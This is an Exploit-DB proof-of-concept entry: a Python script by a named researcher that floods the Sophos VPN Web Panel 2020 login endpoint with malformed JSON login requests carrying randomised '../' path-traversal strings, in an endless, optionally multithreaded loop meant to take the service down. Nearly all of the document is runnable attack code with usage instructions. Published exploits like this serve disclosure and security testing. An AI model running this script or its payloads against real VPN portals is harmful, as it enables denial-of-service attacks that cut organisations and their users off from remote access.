Sophos VPN Web Panel 2020 - Denial of Service (Poc)

EDB-ID:

48683

CVE:

N/A




Platform:

Multiple

Date:

2020-07-22


# Exploit Title: Sophos VPN Web Panel 2020 - Denial of Service (Poc)
# Date: 2020-06-17
# Exploit Author: Berk KIRAS
# Vendor Homepage: https://www.sophos.com/
# Version:2020 Web Panel
# Tested on: Apache
# Berk KIRAS PwC - Cyber Security Specialist 
# Sophos VPN Web Portal Denial of Service Vulnerability
# System parse JSON data. If we want to send some JSON with invalid data format 
#  for ex. valid -> {"test","test2"} , invalid -> {"test",PAYLOAD"test2"} 
# The system can not parse this data fastly and service down
# payload_option2 ="../../../../../../../../../FILE./FILE"

#!/usr/bin/python3

import requests
import sys
import random
import threading

def send_req():
        cnt = random.randint(9,22)
        payload= "../"*cnt+'{FILE}'
        my_datas_params = {"username":"test",
        payload+"password":"admin",
        "cookie":"0",
        "submit":"<div class=\"login_screen_login_button_left\"></div><div class=\"login_screen_login_button_middle\">Oturum Aç</div><div class=\"login_screen_login_button_right\"></div>",
        "language":"turkish",
        "browser_id":"kbgacsyo-q4j5o7lr70e"}
    
            # You should change some values into the headers
        Host_addr = sys.argv[2]
        Origin=sys.argv[1]+"://"+sys.argv[2]
        Referrer=sys.argv[1]+"://"+sys.argv[2]
        Cookie=sys.argv[4]
        #Headers
        my_datas_headers ={
            "Host":str(Host_addr),
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",
            "Accept": "text/javascript, text/html, application/xml, text/xml, */*",
            "Accept-Language": "tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3",
            "Accept-Encoding": "gzip, deflate",
            "X-Requested-With": "XMLHttpRequest",
            "X-Prototype-Version": "1.6.1_rc3",
            "Content-type": "application/json; charset=UTF-8",
            "Origin":Origin,
            "Connection": "close",
            "Referer":Referrer,
            "Cookie":Cookie,
        }
        my_datas_headers2 ={
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",
            "Accept": "text/javascript, text/html, application/xml, text/xml, */*",
            "Accept-Language": "tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3",
            "Accept-Encoding": "gzip, deflate",
            "X-Requested-With": "XMLHttpRequest",
            "X-Prototype-Version": "1.6.1_rc3",
            "Content-type": "application/json; charset=UTF-8",
            "Connection": "close",
        }
        #If you want to edit and add headers some headers added
        s = requests.session()
       #if you want simple-> headers={'User-Agent': 'Mozilla', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}
        s.headers.update(my_datas_headers2)
        print(s.headers.items)
        r = s.post(sys.argv[1]+"://"+sys.argv[2]+sys.argv[3],data=my_datas_params)
        
        return s
 
def main():
    if(len(sys.argv) < 6): 
        print("Usage:1) Implement your headers \n2)change payload if you want \n3) exploit.py <http/https> <domain> <page> <cookie-val> <Thread(1-10)> \nExample-> exploit.py http vpn.test.com /test/index.plx 2\nCoded by b3rkk1r4s | PwC Cyber")
        sys.exit(0)
    else:
        try:
                req_count=0  
                while(True):
                    if(int(sys.argv[5])==1):
                        resp = send_req()
                        req_count=req_count+1
                        print("Sending Requests... Count: "+str(req_count))
                    else:
                        threads = int(sys.argv[5])
                        jobs = []
                        for i in range(0, threads):
                            out_list = list()
                            thread = threading.Thread(target=send_req)
                            jobs.append(thread)
                        for j in jobs:
                            j.start()
                        print("Jobs Started!")
                        # Ensure all of the threads have finished
                        for j in jobs:
                            j.join()
                        
        except Exception:
            print(Exception)

main()